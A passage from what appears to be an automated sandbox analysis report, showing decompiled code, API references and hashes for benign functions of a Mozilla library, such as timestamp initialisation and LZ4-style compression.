							}
							goto L15;
						}
						_t13 = 1;
						goto L12;
					}
					_t29 = "QPC";
					_t26 = 0;
					while(( *(_t27 + _t26) & 0x000000ff) ==  *((intOrPtr*)(_t29 + _t26))) {
						_t26 = _t26 + 1;
						if(_t26 != 4) {
							continue;
						}
						_t22 = 1;
						goto L6;
					}
					_t29 = "GTC";
					_t25 = 0;
					while(( *(_t27 + _t25) & 0x000000ff) ==  *((intOrPtr*)(_t29 + _t25))) {
						_t25 = _t25 + 1;
						if(_t25 != 4) {
							continue;
						}
						goto L11;
					}
					goto L6;
				}
				return _t8;
			}

0x6d86bb40
0x6d86bb43
0x6d86bb44
0x6d86bb4c
0x6d86bb5e
0x6d86bb65
0x6d86bb70
0x6d86bb78
0x6d86bb7a
0x6d86bb7d
0x6d86bb97
0x6d86bba3
0x6d86bbbf
0x6d86bbbf
0x6d86bbc1
0x6d86bbc1
0x6d86bbcd
0x6d86bbfe
0x00000000
0x6d86bc04
0x6d86bbd1
0x6d86bbe2
0x6d86bbe2
0x6d86bbe9
0x6d86bbec
0x6d86bbf4
0x6d86bbf9
0x00000000
0x6d86bbf9
0x6d86bbd3
0x6d86bbd8
0x6d86bbe0
0x00000000
0x00000000
0x00000000
0x6d86bbe0
0x6d86bba5
0x00000000
0x6d86bba5
0x6d86bb7f
0x6d86bb84
0x6d86bb86
0x6d86bb8f
0x6d86bb93
0x00000000
0x00000000
0x6d86bb95
0x00000000
0x6d86bb95
0x6d86bba9
0x6d86bbae
0x6d86bbb0
0x6d86bbb9
0x6d86bbbd
0x00000000
0x00000000
0x00000000
0x6d86bbbd
0x00000000
0x6d86bbb0
0x6d86bc08

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6D880398,00001000), ref: 6D86BB65
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6D86BB72
QueryPerformanceFrequency.KERNEL32(?), ref: 6D86BB9B

Strings

GTC, xrefs: 6D86BBA9
MOZ_TIMESTAMP_MODE, xrefs: 6D86BB6B
QPC, xrefs: 6D86BB7F

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CountCriticalFrequencyInitializePerformanceQuerySectionSpingetenv
String ID: GTC$MOZ_TIMESTAMP_MODE$QPC
API String ID: 3825557725-2521068464
Opcode ID: 8a78c285753d99ce56584770788232aeba337ee3ccb7a1060233ad86d9dda9b4
Instruction ID: 33b06248cdd553013a168ee25e345c2c96ad1e34c71715af85c11be69a5e1060
Opcode Fuzzy Hash: 8a78c285753d99ce56584770788232aeba337ee3ccb7a1060233ad86d9dda9b4
Instruction Fuzzy Hash: 9611332060D2C56EDB21577E400C7BA3FB4AB0B73AF55089DF4C187246D725A584C3F1

Uniqueness

Uniqueness Score: -1.00%

Function 6D86B1FA, Relevance: 3.0, APIs: 2, Instructions: 37
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D86B1FA(void* __ecx) {
				void _v28;
				void* __edi;
				void* _t19;
				signed int _t23;
				void* _t25;
				void* _t26;

				_t19 = __ecx;
				 *((intOrPtr*)(__ecx)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				 *((short*)(__ecx + 0x10)) = 0x100;
				 *((intOrPtr*)(__ecx + 0x18)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((intOrPtr*)(__ecx + 0x20)) = 0;
				 *((intOrPtr*)(__ecx + 0x24)) = 0;
				 *((short*)(__ecx + 0x28)) = 0x100;
				E6D86BB40(__ecx, _t26); // executed
				E6D86BA20(__ecx, _t25,  &_v28, 1);
				_t23 = 6;
				memcpy(_t19,  &_v28, _t23 << 2);
				return _t19;
			}

0x6d86b203
0x6d86b207
0x6d86b209
0x6d86b20c
0x6d86b20f
0x6d86b212
0x6d86b218
0x6d86b21b
0x6d86b21e
0x6d86b221
0x6d86b224
0x6d86b22a
0x6d86b235
0x6d86b23e
0x6d86b244
0x6d86b24e

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6D86B22A

Part of subcall function 6D86BB40: InitializeCriticalSectionAndSpinCount.KERNEL32(6D880398,00001000), ref: 6D86BB65
Part of subcall function 6D86BB40: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6D86BB72
Part of subcall function 6D86BB40: QueryPerformanceFrequency.KERNEL32(?), ref: 6D86BB9B

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6D86B235

Part of subcall function 6D86BA20: GetTickCount64.KERNEL32 ref: 6D86BA58
Part of subcall function 6D86BA20: ??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(00000000,?,?,?,00000000,00000000,?,?,?,?,?,?,6D86B408,?), ref: 6D86BA7B

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$Stamp@mozilla@@$CountCount64CriticalFrequencyInitializeNow@PerformanceQuerySectionSpinStampStartup@TickV12@_Value@mozilla@@getenv
String ID:
API String ID: 3911217947-0
Opcode ID: fe5709098e46fbd1167d295d7b53a2a2c2cbac95b90ebc2b613bfebe8af1d03d
Instruction ID: 8355597d8c8ee14669e450c3e233c42032c6f3d3fbdb69562df3fc0c3228e7df
Opcode Fuzzy Hash: fe5709098e46fbd1167d295d7b53a2a2c2cbac95b90ebc2b613bfebe8af1d03d
Instruction Fuzzy Hash: 20F04FB19042048EDB44DF6D98C5696BBE8FF08224B1141AAED0CCF24AE771D8448BA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6D86BD8F, Relevance: 16.3, APIs: 12, Instructions: 1276
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E6D86BD8F(void* __edx, void* _a4, void* _a8, void* _a12, intOrPtr _a16, void* _a20, signed int _a24) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				void* _v24;
				unsigned int _v28;
				unsigned int _v32;
				unsigned int _v36;
				void* _v40;
				signed char _v44;
				signed int _v48;
				unsigned int _v52;
				unsigned int _v56;
				unsigned int _v60;
				void* _t519;
				signed int _t520;
				void* _t522;
				unsigned int _t529;
				signed int* _t530;
				signed int _t551;
				char* _t570;
				void* _t578;
				signed int _t579;
				signed int _t582;
				unsigned int _t586;
				unsigned int _t589;
				void _t590;
				signed int _t594;
				signed int* _t600;
				unsigned int _t617;
				signed int _t626;
				char* _t645;
				void* _t655;
				signed int _t656;
				signed int _t659;
				unsigned int _t663;
				unsigned int _t666;
				void _t667;
				signed int _t671;
				unsigned int _t673;
				unsigned int _t678;
				void _t680;
				void* _t684;
				char* _t698;
				signed int _t702;
				void* _t706;
				signed int _t707;
				signed int _t710;
				unsigned int _t714;
				unsigned int _t717;
				void _t719;
				signed int _t723;
				void* _t725;
				void* _t728;
				unsigned int _t733;
				char* _t751;
				void* _t761;
				signed int _t762;
				signed int _t765;
				unsigned int _t769;
				unsigned int _t772;
				void _t773;
				signed int _t777;
				void _t779;
				int _t780;
				void _t782;
				void* _t784;
				void _t786;
				signed int _t789;
				signed int* _t792;
				signed int _t793;
				signed int* _t794;
				int _t796;
				signed int* _t799;
				unsigned int _t801;
				signed int _t804;
				signed int _t810;
				unsigned int _t812;
				int _t813;
				signed int _t814;
				signed int* _t815;
				intOrPtr* _t818;
				signed int* _t819;
				unsigned int _t821;
				signed int _t826;
				signed int _t832;
				unsigned int _t834;
				void* _t836;
				void* _t840;
				signed int* _t841;
				unsigned int _t842;
				signed int _t844;
				signed int _t849;
				signed int _t852;
				signed int* _t853;
				void* _t856;
				signed int* _t857;
				unsigned int _t859;
				signed int _t864;
				signed int _t871;
				unsigned int _t876;
				signed int _t884;
				signed char _t887;
				intOrPtr* _t888;
				signed int* _t889;
				signed int* _t898;
				unsigned int _t904;
				signed int _t909;
				signed char _t912;
				signed int* _t913;
				signed int* _t921;
				signed int _t923;
				signed int* _t924;
				signed char _t927;
				signed int* _t928;
				void* _t929;
				signed char _t936;
				int _t938;
				unsigned int _t942;
				signed int _t947;
				signed char _t949;
				signed int* _t950;
				void* _t958;
				void* _t959;
				short* _t960;
				char* _t962;
				void* _t963;
				void* _t964;
				short* _t965;
				char* _t967;
				void* _t969;
				void* _t970;
				short* _t971;
				char* _t973;
				void* _t975;
				short* _t976;
				char* _t978;
				intOrPtr _t979;
				signed int _t981;
				signed int _t983;
				void* _t985;
				int _t986;
				void* _t987;
				short* _t988;
				signed int* _t989;
				int _t991;
				int _t993;
				signed int _t995;
				signed int _t997;
				void* _t998;
				short* _t999;
				signed int* _t1000;
				int _t1002;
				signed int* _t1004;
				unsigned int _t1005;
				int _t1006;
				intOrPtr* _t1013;
				void* _t1014;
				short* _t1015;
				void* _t1016;
				int _t1018;
				int _t1020;
				void* _t1021;
				signed int _t1022;
				signed int _t1024;
				void* _t1025;
				short* _t1026;
				void* _t1027;
				int _t1029;
				void* _t1030;
				void* _t1031;

				_t779 = 0;
				memset(_a4, 0, 0x4020);
				_t979 = _a16;
				_t518 =  >=  ? _a24 : 1;
				_a24 =  >=  ? _a24 : 1;
				_t519 = E6D86BD0A(_t979);
				_t1031 = _t1030 + 0x10;
				if(_a20 < _t519) {
					if(_t979 >= 0x1000b) {
						_t792 = _a8;
						_v8 = _t792;
						_t520 = _t792 + _t979;
						_t382 = _t520 - 0xc; // -12
						_v16 = _t520;
						_v60 = _t382;
						_v32 = _t520 + 0xfffffffb;
						_t522 = _a12;
						_t958 = _t522;
						_v28 = _t958;
						_v56 = _t522 + _a20;
						if(_t979 <= 0x7e000000) {
							E6D86D3F0(_t792,  *_t792 * 0x9e3779b1 >> 0x14, _a4, 0, _t792);
							_t1031 = _t1031 + 0x14;
							_t981 = _a8 + 1;
							_v12 = 0x3fc;
							_t529 =  *_t981 * 0x9e3779b1 >> 0x14;
							_a24 = _a24 << 6;
							while(1) {
								L161:
								_t793 = _t981;
								_t876 = 1;
								_v36 = _a24;
								while(1) {
									_t983 = _t793;
									_v24 = _t529;
									_t794 = _t793 + _t876;
									_v40 = _t983;
									_v36 = _v36 + 1;
									_v44 = _t794;
									_v52 = _v36 >> 6;
									if(_t794 > _v60) {
										break;
									}
									_v20 =  *((intOrPtr*)(_a4 + _t529 * 4));
									_v48 =  *_t794 * 0x9e3779b1 >> 0x14;
									E6D86D3F0(_t983, _v24, _a4, _t779, _a8);
									_t884 = _v20;
									_t1031 = _t1031 + 0x14;
									_t793 = _v44;
									_t529 = _v48;
									if(_t884 + 0xffff < _t983) {
										L162:
										_t876 = _v52;
										continue;
									} else {
										_t529 = _v48;
										if( *_t884 !=  *_t983) {
											goto L162;
										} else {
											asm("sbb ecx, ecx");
											asm("sbb eax, eax");
											if(( ~_t529 &  ~_t793) != 0) {
												while(1) {
													_t594 =  *(_t983 - 1);
													_t810 = _t884 - 1;
													if(_t594 !=  *_t810) {
														break;
													}
													_t983 = _t983 - 1;
													_t884 = _t810;
													_v20 = _t884;
													asm("sbb ecx, ecx");
													asm("sbb eax, eax");
													if(( ~_t594 &  ~_t810) != 0) {
														continue;
													}
													break;
												}
												_t958 = _v28;
												_t779 = 0;
												_v40 = _t983;
											}
											_t551 = _t983 - _v8;
											_v52 = _t551;
											_t987 = _t958;
											_t887 = _v52;
											_t959 = _t958 + 1;
											_v24 = _t987;
											if(_t551 / 0xff + 8 + _t887 + _t959 <= _v56) {
												if(_t887 < 0xf) {
													 *_t987 = _t887 << 4;
												} else {
													_t590 = _t887 - 0xf;
													 *_t987 = 0xf0;
													_v36 = _t590;
													if(_t590 >= 0xff) {
														_t991 = _t590 / 0xff;
														memset(_t959, 0xff, _t991);
														_t887 = _v52;
														_t1031 = _t1031 + 0xc;
														_t959 = _t959 + _t991;
														_v36 = _v36 + _t991 * 0xffffff01;
														_t590 = _v36;
													}
													 *_t959 = _t590;
													_t959 = _t959 + 1;
												}
												_t988 = _t959 + _t887;
												E6D86D436(_t959, _v8, _t988);
												_t1031 = _t1031 + 0xc;
												_t888 = _v20;
												_t960 = _t988;
												_v36 = _v32 + 0xfffffffd;
												_t989 = _v40;
												while(1) {
													_t799 = _t888 + 4;
													_t889 =  &(_t989[1]);
													 *_t960 = _t989 - _t888;
													_t958 = _t960 + 2;
													_v28 = _t958;
													_v52 = _t889;
													if(_t889 >= _v36) {
														goto L183;
													}
													L179:
													_t586 =  *_t889 ^  *_t799;
													if(_t586 != 0) {
														asm("bsf eax, eax");
														_v52 = _t586;
														_t801 = _t586 >> 3;
													} else {
														_t889 =  &(_t889[1]);
														_t799 =  &(_t799[1]);
														if(_t889 >= _v36) {
															goto L183;
														} else {
															while(1) {
																_t589 =  *_t889 ^  *_t799;
																if(_t589 != 0) {
																	break;
																}
																_t889 =  &(_t889[1]);
																_t799 =  &(_t799[1]);
																if(_t889 < _v36) {
																	continue;
																} else {
																	goto L183;
																}
																goto L190;
															}
															asm("bsf eax, eax");
															_v48 = _t589;
															_t801 = (_t589 >> 3) - _v52 + _t889;
														}
													}
													L190:
													_t989 =  &(_t989[1]) + _t801;
													if((_t801 >> 8) + 6 + _t958 <= _v56) {
														_t570 = _v24;
														if(_t801 < 0xf) {
															 *_t570 =  *_t570 + _t801;
														} else {
															 *_t570 =  *_t570 + 0xf;
															_t804 = _t801 - 0xf;
															 *_t958 =  *_t958 | 0xffffffff;
															if(_t804 >= 0x3fc) {
																_t582 = _t804 / _v12;
																do {
																	_t958 = _t958 + 4;
																	_t804 = _t804 - 0x3fc;
																	 *_t958 =  *_t958 | 0xffffffff;
																	_t582 = _t582 - 1;
																} while (_t582 != 0);
															}
															_t579 = _t804;
															_t962 = _t958 + _t579 / 0xff;
															 *_t962 = _t579 % 0xff;
															_t958 = _t962 + 1;
															_v28 = _t958;
														}
														_t530 = _t989;
														_v8 = _t530;
														if(_t989 > _v60) {
															L205:
															_t796 = _v16 - _t530;
															_v16 = _t796;
															if((_t796 + 0xf0) / 0xff - _a12 + 1 + _t796 + _t958 <= _a20) {
																if(_t796 < 0xf) {
																	 *_t958 = _t796 << 4;
																} else {
																	_t782 = _t796 - 0xf;
																	 *_t958 = 0xf0;
																	_t958 = _t958 + 1;
																	if(_t782 >= 0xff) {
																		_t986 = _t782 / 0xff;
																		memset(_t958, 0xff, _t986);
																		_t1031 = _t1031 + 0xc;
																		_t958 = _t958 + _t986;
																		do {
																			_t782 = _t782 - 0xff;
																			_t986 = _t986 - 1;
																		} while (_t986 != 0);
																		_t796 = _v16;
																	}
																	 *_t958 = _t782;
																}
																_t985 = _t958 + 1;
																memcpy(_t985, _v8, _t796);
																_t780 = _v16;
																goto L214;
															}
														} else {
															E6D86D3F0(_t989 - 2,  *(_t989 - 2) * 0x9e3779b1 >> 0x14, _a4, _t779, _a8);
															_v20 = E6D86D3C8( *_t989 * 0x9e3779b1 >> 0x14, _a4, _t779, _a8);
															E6D86D3F0(_t989,  *_t989 * 0x9e3779b1 >> 0x14, _a4, _t779, _a8);
															_t888 = _v20;
															_t1031 = _t1031 + 0x38;
															if(_t888 + 0xffff < _t989 ||  *_t888 !=  *_t989) {
																_t981 =  &(_t989[0]);
																_t529 =  *_t981 * 0x9e3779b1 >> 0x14;
																goto L161;
															} else {
																_t578 = _t958;
																_t960 = _t958 + 1;
																_v24 = _t578;
																 *_t578 = _t779;
																_t799 = _t888 + 4;
																_t889 =  &(_t989[1]);
																 *_t960 = _t989 - _t888;
																_t958 = _t960 + 2;
																_v28 = _t958;
																_v52 = _t889;
																if(_t889 >= _v36) {
																	goto L183;
																}
																goto L190;
															}
														}
													}
													goto L215;
													L183:
													if(_t889 < _v32 - 1 &&  *_t799 ==  *_t889) {
														_t889 =  &(_t889[0]);
														_t799 =  &(_t799[0]);
													}
													if(_t889 < _v32 &&  *_t799 ==  *_t889) {
														_t889 =  &(_t889[0]);
													}
													_t801 = _t889 - _v52;
													goto L190;
												}
											}
										}
									}
									goto L215;
								}
								_t530 = _v8;
								goto L205;
							}
						}
					} else {
						_t898 = _a8;
						_t963 = _a12;
						_v8 = _t898;
						_v32 = _t963;
						_t812 = _t898 + _t979;
						_v20 = _t812;
						_v52 = _t812 - 0xc;
						_v24 = _t812 - 5;
						_v48 = _t963 + _a20;
						_t600 = _t898;
						if(_t979 <= 0x7e000000) {
							if(_t979 < 0xd) {
								L150:
								_t813 = _t812 - _t600;
								_v20 = _t813;
								if((_t813 + 0xf0) / 0xff - _a12 + 1 + _t813 + _t963 <= _a20) {
									if(_t813 < 0xf) {
										 *_t963 = _t813 << 4;
									} else {
										_t786 = _t813 - 0xf;
										 *_t963 = 0xf0;
										_t963 = _t963 + 1;
										if(_t786 >= 0xff) {
											_t993 = _t786 / 0xff;
											memset(_t963, 0xff, _t993);
											_t1031 = _t1031 + 0xc;
											_t963 = _t963 + _t993;
											do {
												_t786 = _t786 - 0xff;
												_t993 = _t993 - 1;
											} while (_t993 != 0);
											_t813 = _v20;
										}
										 *_t963 = _t786;
									}
									_t784 = _t963 + 1;
									memcpy(_t784, _v8, _t813);
									_t779 = _t784 - _a12 + _v20;
								}
							} else {
								E6D86D3F0(_t898,  *_t898 * 0x9e3779b1 >> 0x13, _a4, 2, _t898);
								_t1031 = _t1031 + 0x14;
								_t995 = _a8 + 1;
								_v12 = 0x3fc;
								_t617 =  *_t995 * 0x9e3779b1 >> 0x13;
								_a24 = _a24 << 6;
								while(1) {
									L106:
									_t814 = _t995;
									_t904 = 1;
									_v28 = _a24;
									while(1) {
										_t997 = _t814;
										_v56 = _t617;
										_t815 = _t814 + _t904;
										_v40 = _t997;
										_v28 = _v28 + 1;
										_v36 = _t815;
										_v60 = _v28 >> 6;
										if(_t815 > _v52) {
											break;
										}
										_v16 = _a8 + ( *(_a4 + _t617 * 2) & 0x0000ffff);
										_v44 =  *_t815 * 0x9e3779b1 >> 0x13;
										E6D86D3F0(_t997, _v56, _a4, 2, _a8);
										_t909 = _v16;
										_t1031 = _t1031 + 0x14;
										_t814 = _v36;
										_t617 = _v44;
										if( *_t909 !=  *_t997) {
											_t904 = _v60;
											continue;
										} else {
											asm("sbb ecx, ecx");
											asm("sbb eax, eax");
											if(( ~_t617 &  ~_t814) != 0) {
												while(1) {
													_t671 =  *(_t997 - 1);
													_t832 = _t909 - 1;
													_v60 = _t832;
													if(_t671 !=  *_t832) {
														break;
													}
													_t997 = _t997 - 1;
													_t909 = _t832;
													_v16 = _t909;
													asm("sbb ecx, ecx");
													asm("sbb eax, eax");
													if(( ~_t671 &  ~_t832) != 0) {
														continue;
													}
													break;
												}
												_t963 = _v32;
												_t779 = 0;
												_v40 = _t997;
											}
											_t626 = _t997 - _v8;
											_v44 = _t626;
											_t998 = _t963;
											_t912 = _v44;
											_t964 = _t963 + 1;
											_v36 = _t998;
											if(_t626 / 0xff + 8 + _t912 + _t964 <= _v48) {
												if(_t912 < 0xf) {
													 *_t998 = _t912 << 4;
												} else {
													_t667 = _t912 - 0xf;
													 *_t998 = 0xf0;
													_v28 = _t667;
													if(_t667 >= 0xff) {
														_t1002 = _t667 / 0xff;
														memset(_t964, 0xff, _t1002);
														_t912 = _v44;
														_t1031 = _t1031 + 0xc;
														_t964 = _t964 + _t1002;
														_v28 = _v28 + _t1002 * 0xffffff01;
														_t667 = _v28;
													}
													 *_t964 = _t667;
													_t964 = _t964 + 1;
												}
												_t999 = _t964 + _t912;
												E6D86D436(_t964, _v8, _t999);
												_t1031 = _t1031 + 0xc;
												_t818 = _v16;
												_t965 = _t999;
												_v28 = _v24 + 0xfffffffd;
												_t1000 = _v40;
												while(1) {
													_t913 =  &(_t1000[1]);
													_v44 = _t913;
													 *_t965 = _t1000 - _t818;
													_t819 = _t818 + 4;
													_t963 = _t965 + 2;
													_v32 = _t963;
													if(_t913 >= _v28) {
														goto L127;
													}
													L123:
													_t663 =  *_t913 ^  *_t819;
													if(_t663 != 0) {
														asm("bsf eax, eax");
														_v60 = _t663;
														_t821 = _t663 >> 3;
													} else {
														_t913 =  &(_t913[1]);
														_t819 =  &(_t819[1]);
														if(_t913 >= _v28) {
															goto L127;
														} else {
															while(1) {
																_t666 =  *_t913 ^  *_t819;
																if(_t666 != 0) {
																	break;
																}
																_t913 =  &(_t913[1]);
																_t819 =  &(_t819[1]);
																if(_t913 < _v28) {
																	continue;
																} else {
																	goto L127;
																}
																goto L134;
															}
															asm("bsf eax, eax");
															_v60 = _t666;
															_t821 = (_t666 >> 3) - _v44 + _t913;
														}
													}
													L134:
													_t1000 =  &(_t1000[1]) + _t821;
													if((_t821 >> 8) + 6 + _t963 <= _v48) {
														_t645 = _v36;
														if(_t821 < 0xf) {
															 *_t645 =  *_t645 + _t821;
														} else {
															 *_t645 =  *_t645 + 0xf;
															_t826 = _t821 - 0xf;
															 *_t963 =  *_t963 | 0xffffffff;
															if(_t826 >= 0x3fc) {
																_t659 = _t826 / _v12;
																do {
																	_t963 = _t963 + 4;
																	_t826 = _t826 - 0x3fc;
																	 *_t963 =  *_t963 | 0xffffffff;
																	_t659 = _t659 - 1;
																} while (_t659 != 0);
															}
															_t656 = _t826;
															_t967 = _t963 + _t656 / 0xff;
															 *_t967 = _t656 % 0xff;
															_t963 = _t967 + 1;
															_v32 = _t963;
														}
														_t600 = _t1000;
														_v8 = _t600;
														if(_t1000 > _v52) {
															L149:
															_t812 = _v20;
															goto L150;
														} else {
															E6D86D3F0(_t1000 - 2,  *(_t1000 - 2) * 0x9e3779b1 >> 0x13, _a4, 2, _a8);
															_v16 = _a8 + ( *(_a4 + ( *_t1000 * 0x9e3779b1 >> 0x13) * 2) & 0x0000ffff);
															E6D86D3F0(_t1000,  *_t1000 * 0x9e3779b1 >> 0x13, _a4, 2, _a8);
															_t818 = _v16;
															_t1031 = _t1031 + 0x28;
															if(_t818 + 0xffff < _t1000 ||  *_t818 !=  *_t1000) {
																_t995 =  &(_t1000[0]);
																_t617 =  *_t995 * 0x9e3779b1 >> 0x13;
																goto L106;
															} else {
																_t655 = _t963;
																_t965 = _t963 + 1;
																_v36 = _t655;
																 *_t655 = _t779;
																_t913 =  &(_t1000[1]);
																_v44 = _t913;
																 *_t965 = _t1000 - _t818;
																_t819 = _t818 + 4;
																_t963 = _t965 + 2;
																_v32 = _t963;
																if(_t913 >= _v28) {
																	goto L127;
																}
																goto L134;
															}
														}
													}
													goto L215;
													L127:
													if(_t913 < _v24 - 1 &&  *_t819 ==  *_t913) {
														_t913 =  &(_t913[0]);
														_t819 =  &(_t819[0]);
													}
													if(_t913 < _v24 &&  *_t819 ==  *_t913) {
														_t913 =  &(_t913[0]);
													}
													_t821 = _t913 - _v44;
													goto L134;
												}
											}
										}
										goto L215;
									}
									_t600 = _v8;
									goto L149;
								}
							}
						}
					}
				} else {
					if(_t979 >= 0x1000b) {
						_t921 = _a8;
						_a20 = _t921;
						_t673 = _t921 + _t979;
						_t125 = _t673 - 0xc; // -12
						_v56 = _t673;
						_v44 = _t125;
						_t969 = _a12;
						_v24 = _t673 + 0xfffffffb;
						_v8 = _t969;
						if(_t979 <= 0x7e000000) {
							_v12 = 0x3fc;
							 *(_a4 + ( *_t921 * 0x9e3779b1 >> 0x14) * 4) = _t921;
							_t1004 =  &(_t921[0]);
							_t678 =  *_t1004 * 0x9e3779b1 >> 0x14;
							_t923 = _a24 << 6;
							_a24 = _t923;
							while(1) {
								L56:
								_v20 = 1;
								_v36 = _t923;
								while(1) {
									_t834 = _v36;
									_t924 = _t1004;
									_t1005 = _t1004 + _v20;
									_v20 = _t834;
									_v20 = _v20 >> 6;
									_v36 = _t834 + 1;
									_t836 = _a20;
									_v40 = _t924;
									_v28 = _t1005;
									if(_t1005 > _v44) {
										break;
									}
									_v16 =  *(_a4 + _t678 * 4);
									_v32 =  *_v28 * 0x9e3779b1 >> 0x14;
									 *(_a4 + _t678 * 4) = _t924;
									_t1013 = _v16;
									_t678 = _v32;
									if(_t1013 + 0xffff < _t924) {
										L57:
										_t1004 = _v28;
										continue;
									} else {
										_t678 = _v32;
										if( *_t1013 !=  *_t924) {
											goto L57;
										} else {
											asm("sbb ecx, ecx");
											asm("sbb eax, eax");
											if(( ~_t678 &  ~_t836) != 0) {
												_t789 = _v16;
												while(1) {
													_t723 =  *(_t924 - 1);
													_t849 = _t789 - 1;
													_v60 = _t849;
													if(_t723 !=  *_t849) {
														break;
													}
													_t924 = _t924 - 1;
													_t789 = _t849;
													_v16 = _t789;
													asm("sbb ecx, ecx");
													asm("sbb eax, eax");
													if(( ~_t723 &  ~_t849) != 0) {
														continue;
													}
													break;
												}
												_t969 = _v8;
												_t779 = 0;
												_v40 = _t924;
											}
											_t839 = _a20;
											_t1014 = _t969;
											_t927 = _t924 - _a20;
											_v20 = _t1014;
											_t970 = _t969 + 1;
											_v60 = _t927;
											if(_t927 < 0xf) {
												 *_t1014 = _t927 << 4;
											} else {
												_t719 = _t927 - 0xf;
												 *_t1014 = 0xf0;
												_v28 = _t719;
												if(_t719 >= 0xff) {
													_t1018 = _t719 / 0xff;
													memset(_t970, 0xff, _t1018);
													_t839 = _a20;
													_t1031 = _t1031 + 0xc;
													_t927 = _v60;
													_t970 = _t970 + _t1018;
													_v28 = _v28 + _t1018 * 0xffffff01;
													_t719 = _v28;
												}
												 *_t970 = _t719;
												_t970 = _t970 + 1;
											}
											_t1015 = _t970 + _t927;
											E6D86D436(_t970, _t839, _t1015);
											_t1031 = _t1031 + 0xc;
											_t840 = _v16;
											_t971 = _t1015;
											_v28 = _v24 + 0xfffffffd;
											_t1016 = _v40;
											while(1) {
												_t928 = _t840 + 4;
												_t841 = _t1016 + 4;
												 *_t971 = _t1016 - _t840;
												_t969 = _t971 + 2;
												_v8 = _t969;
												_a20 = _t841;
												if(_t841 >= _v28) {
													goto L77;
												}
												L73:
												_t714 =  *_t841 ^  *_t928;
												if(_t714 != 0) {
													asm("bsf eax, eax");
													_a20 = _t714;
													_t842 = _t714 >> 3;
												} else {
													_t841 =  &(_t841[1]);
													_t928 =  &(_t928[1]);
													if(_t841 >= _v28) {
														goto L77;
													} else {
														while(1) {
															_t717 =  *_t841 ^  *_t928;
															if(_t717 != 0) {
																break;
															}
															_t841 =  &(_t841[1]);
															_t928 =  &(_t928[1]);
															if(_t841 < _v28) {
																continue;
															} else {
																goto L77;
															}
															goto L84;
														}
														asm("bsf eax, eax");
														_v60 = _t717;
														_t842 = _t841 - _a20 + (_t717 >> 3);
													}
												}
												L84:
												_t698 = _v20;
												_t1016 = _t1016 + 4 + _t842;
												if(_t842 < 0xf) {
													 *_t698 =  *_t698 + _t842;
												} else {
													 *_t698 =  *_t698 + 0xf;
													_t844 = _t842 - 0xf;
													 *_t969 =  *_t969 | 0xffffffff;
													if(_t844 >= 0x3fc) {
														_t710 = _t844 / _v12;
														do {
															_t969 = _t969 + 4;
															_t844 = _t844 - 0x3fc;
															 *_t969 =  *_t969 | 0xffffffff;
															_t710 = _t710 - 1;
														} while (_t710 != 0);
													}
													_t707 = _t844;
													_t973 = _t969 + _t707 / 0xff;
													 *_t973 = _t707 % 0xff;
													_t969 = _t973 + 1;
													_v8 = _t969;
												}
												_t836 = _t1016;
												_a20 = _t836;
												if(_t1016 <= _v44) {
													_t929 = _a4;
													 *(_t929 + ( *(_t1016 - 2) * 0x9e3779b1 >> 0x14) * 4) = _t1016 - 2;
													_t702 =  *_t1016 * 0x9e3779b1 >> 0x14;
													_t840 =  *(_t929 + _t702 * 4);
													 *(_t929 + _t702 * 4) = _t1016;
													if(_t840 + 0xffff < _t1016 ||  *_t840 !=  *_t1016) {
														_t923 = _a24;
														_t1004 = _t1016 + 1;
														_t678 =  *_t1004 * 0x9e3779b1 >> 0x14;
														goto L56;
													} else {
														_t706 = _t969;
														_t971 = _t969 + 1;
														_v20 = _t706;
														 *_t706 = _t779;
														_t928 = _t840 + 4;
														_t841 = _t1016 + 4;
														 *_t971 = _t1016 - _t840;
														_t969 = _t971 + 2;
														_v8 = _t969;
														_a20 = _t841;
														if(_t841 >= _v28) {
															goto L77;
														}
														goto L84;
													}
												}
												goto L97;
												L77:
												if(_t841 < _v24 - 1 &&  *_t928 ==  *_t841) {
													_t841 =  &(_t841[0]);
													_t928 =  &(_t928[0]);
												}
												if(_t841 < _v24 &&  *_t928 ==  *_t841) {
													_t841 =  &(_t841[0]);
												}
												_t842 = _t841 - _a20;
												goto L84;
											}
										}
									}
									break;
								}
								L97:
								_t780 = _v56 - _t836;
								if(_t780 < 0xf) {
									goto L52;
								} else {
									_t680 = _t780 - 0xf;
									 *_t969 = 0xf0;
									_t969 = _t969 + 1;
									if(_t680 < 0xff) {
										goto L53;
									} else {
										_t1006 = _t680 / 0xff;
										memset(_t969, 0xff, _t1006);
										_t1031 = _t1031 + 0xc;
										_t684 = _t780 - 0xf;
										_t969 = _t969 + _t1006;
										do {
											_t684 = _t684 - 0xff;
											_t1006 = _t1006 - 1;
										} while (_t1006 != 0);
										goto L51;
									}
